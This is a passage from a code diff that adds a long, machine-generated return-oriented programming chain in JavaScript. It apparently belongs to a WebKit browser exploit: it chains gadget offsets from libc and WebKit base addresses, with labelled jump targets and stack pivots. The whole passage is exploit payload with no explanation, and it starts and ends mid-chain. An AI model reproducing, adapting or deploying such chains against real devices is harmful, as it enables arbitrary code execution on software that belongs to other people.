+libc_base+430587, //mov [rdi], rax +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+129744, //L1670 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1668: +db([38, 0]); // 0x26 +set_gadget(libc_base+772328,); //pop rcx +//L1669: +db([8, 0]); // 0x8 +set_gadget(webkit_base+3789839,); //pop r11 +//L1670: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+1537212, //imul rax, rcx +libc_base+713278, //pop rsi +ropchain+129824, //L1671 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+129840, //L1672 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1671: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1672: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+764700, //add rax, rcx +libc_base+713278, //pop rsi +ropchain+129928, //L1673 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1673: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+129984, //L1675 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1675: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+130056, //L1677 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1677: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+130112, //L1679 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1679: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+2989859, //mov [rax], rcx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+130240, //L1682 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278, //pop rsi +ropchain+130224, //L1681 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L1681: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1682: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+130344, //L1683 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+130360, //L1684 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L1683: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1684: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+130480, //L1685 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+130464, //L1686 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+768796 //pop rax +]); +//L1686: +db([0, 0]); // 0x0 +set_gadget(libc_base+489696,); //pop rsp +//L1685: +db([0, 0]); // 0x0 +//___sputc: +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+130552, //L1688 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +webkit_base+1420514 //pop r8 +]); +//L1688: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+430587, //mov [rdi], rax +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+130640, //L1689 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+130672, //L1691 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1420514 //pop r8 +]); +//L1689: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1690: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1691: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1692: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+130784, //L1694 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+130768, //L1693 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L1693: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1694: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+130880, //L1696 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1695: +db([24, 0]); // 0x18 +set_gadget(libc_base+772328,); //pop rcx +//L1696: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+130984, //L1699 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+130968, //L1698 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1698: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1699: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+131112, //L1702 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+131144, //L1704 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+131128, //L1703 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L1701: +db([12, 0]); // 0xc +set_gadget(libc_base+772328,); //pop rcx +//L1702: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1703: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1704: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+131248, //L1706 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+131232, //L1705 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1705: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1706: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+131408, //L1709 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+131440, //L1711 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+131392, //L1708 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+131424, //L1710 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1708: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1709: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1710: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1711: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+131552, //L1714 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+131536, //L1713 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L1712: +db([4294967295, 4294967295]); // -0x1 +set_gadget(libc_base+165442,); //pop rdi +//L1713: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1714: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278 //pop rsi +]); +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+131656, //L1716 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1715: +db([24, 0]); // 0x18 +set_gadget(libc_base+772328,); //pop rcx +//L1716: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+131760, //L1719 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+131744, //L1718 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1718: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1719: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+131848, //L1721 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+131864, //L1722 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+772328 //pop rcx +]); +//L1721: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1722: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+131936, //L1725 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278 //pop rsi +]); +//L1724: +db([12, 0]); // 0xc +set_gadget(libc_base+772328,); //pop rcx +//L1725: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +webkit_base+972324, //mov [rax], ecx +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+713278, //pop rsi +ropchain+132088, //L1727 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+132120, //L1729 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+132104, //L1728 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L1727: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1728: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1729: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+132232, //L1730 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+132264, //L1732 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+132248, //L1731 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1730: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1731: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1732: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+15055763, //cmp rax, rcx ; sete al +webkit_base+8949069, //setle al +libc_base+232261, //movzx eax, al +libc_base+713278, //pop rsi +ropchain+132424, //L1733 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+132456, //L1735 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+132440, //L1734 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L1733: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1734: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1735: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+132616, //L1740 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+132632, //L1741 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+132584, //L1738 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1737: +db([1, 0]); // 0x1 +set_gadget(libc_base+165442,); //pop rdi +//L1738: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +//L1739: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1740: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1741: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+11809960, //cmp rax, rsi ; sete al +libc_base+350006, //setne al +libc_base+232261, //movzx eax, al +webkit_base+426067, //shl rax, 3 +libc_base+713278, //pop rsi +ropchain+132752, //L1742+8 +libc_base+507828, //add rax, rsi +libc_base+145226, //mov rax, [rax] +libc_base+713278, //pop rsi +ropchain+132744, //L1742 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+489696 //pop rsp +]); +//L1742: +db([0, 0]); // 0x0 +set_gadgets([ +ropchain+132768, //L1742+24 +ropchain+137032, //L1736 +libc_base+713278, //pop rsi +ropchain+132824, //L1744 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1743: +db([24, 0]); // 0x18 +set_gadget(libc_base+772328,); //pop rcx +//L1744: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+132928, //L1747 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+132912, //L1746 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1746: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1747: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+133056, //L1750 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+133088, //L1752 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+133072, //L1751 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L1749: +db([36, 0]); // 0x24 +set_gadget(libc_base+772328,); //pop rcx +//L1750: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1751: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1752: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+133192, //L1754 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+133176, //L1753 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1753: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1754: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+133352, //L1757 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+133384, //L1759 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+133336, //L1756 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+133368, //L1758 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1756: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1757: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1758: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1759: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+133464, //L1760 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+133480, //L1761 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L1760: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1761: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+133576, //L1763 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+133560, //L1762 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L1762: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1763: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +db([8, 0]); // 0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +libc_base+430587, //mov [rdi], rax +libc_base+713278, //pop rsi +ropchain+133672, //L1765 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1764: +db([24, 0]); // 0x18 +set_gadget(libc_base+772328,); //pop rcx +//L1765: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+133776, //L1768 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+133760, //L1767 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1767: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1768: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278, //pop rsi +ropchain+133904, //L1771 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+133936, //L1773 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+133920, //L1772 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+713278 //pop rsi +]); +//L1770: +db([12, 0]); // 0xc +set_gadget(libc_base+772328,); //pop rcx +//L1771: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1772: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1773: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+134040, //L1775 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+134024, //L1774 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1774: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1775: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+134200, //L1778 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+134232, //L1780 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+134184, //L1777 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+134216, //L1779 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1777: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1778: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1779: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1780: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+134312, //L1781 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+134328, //L1782 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L1781: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1782: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+134440, //L1783 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+134472, //L1785 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+134456, //L1784 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1783: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1784: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1785: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149872, //mov rax, [rdi] +libc_base+713278 //pop rsi +]); +db([4294967288, 4294967295]); // -0x8 +set_gadgets([ +libc_base+207036, //sub rdi, rsi ; mov rdx, rdi +webkit_base+15055763, //cmp rax, rcx ; sete al +webkit_base+8949069, //setle al +libc_base+232261, //movzx eax, al +libc_base+713278, //pop rsi +ropchain+134632, //L1786 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+134664, //L1788 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+134648, //L1787 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L1786: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1787: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1788: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+134824, //L1793 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+134840, //L1794 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+713278, //pop rsi +ropchain+134792, //L1791 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1790: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1791: +db([0, 0]); // 0x0 +set_gadget(libc_base+713278,); //pop rsi +//L1792: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1793: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1794: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+11809960, //cmp rax, rsi ; sete al +libc_base+232261, //movzx eax, al +webkit_base+426067, //shl rax, 3 +libc_base+713278, //pop rsi +ropchain+134952, //L1795+8 +libc_base+507828, //add rax, rsi +libc_base+145226, //mov rax, [rax] +libc_base+713278, //pop rsi +ropchain+134944, //L1795 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+1816389, //mov rax, r11 +libc_base+489696 //pop rsp +]); +//L1795: +db([0, 0]); // 0x0 +set_gadgets([ +ropchain+134968, //L1795+24 +ropchain+136656, //L1789 +libc_base+713278, //pop rsi +ropchain+135024, //L1797 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+740138, //mov rax, r8 +libc_base+713278 //pop rsi +]); +//L1796: +db([16, 0]); // 0x10 +set_gadget(libc_base+772328,); //pop rcx +//L1797: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+507828, //add rax, rsi +libc_base+713278, //pop rsi +ropchain+135128, //L1800 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+135112, //L1799 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+772328 //pop rcx +]); +//L1799: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1800: +db([0, 0]); // 0x0 +set_gadgets([ +libc_base+149873, //mov eax, [rdi] +libc_base+713278, //pop rsi +ropchain+135288, //L1803 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+135320, //L1805 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+388400, //mov rax, rdi +libc_base+713278, //pop rsi +ropchain+135272, //L1802 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+863109, //mov rax, rcx +libc_base+713278, //pop rsi +ropchain+135304, //L1804 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+772328 //pop rcx +]); +//L1802: +db([0, 0]); // 0x0 +set_gadget(libc_base+165442,); //pop rdi +//L1803: +db([0, 0]); // 0x0 +set_gadget(webkit_base+3789839,); //pop r11 +//L1804: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1805: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+135400, //L1806 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +webkit_base+13378624, //mov rax, [rsi] +libc_base+713278, //pop rsi +ropchain+135416, //L1807 +webkit_base+4687784, //mov [rsi], rax ; mov al, 1 +libc_base+165442 //pop rdi +]); +//L1806: +db([0, 0]); // 0x0 +set_gadget(libc_base+768796,); //pop rax +//L1807: +db([0, 0]); // 0x0 +set_gadgets([ +webkit_base+6264134, //movsxd rax, edi +libc_base+713278, //pop rsi +ropchain+135576, //L1811 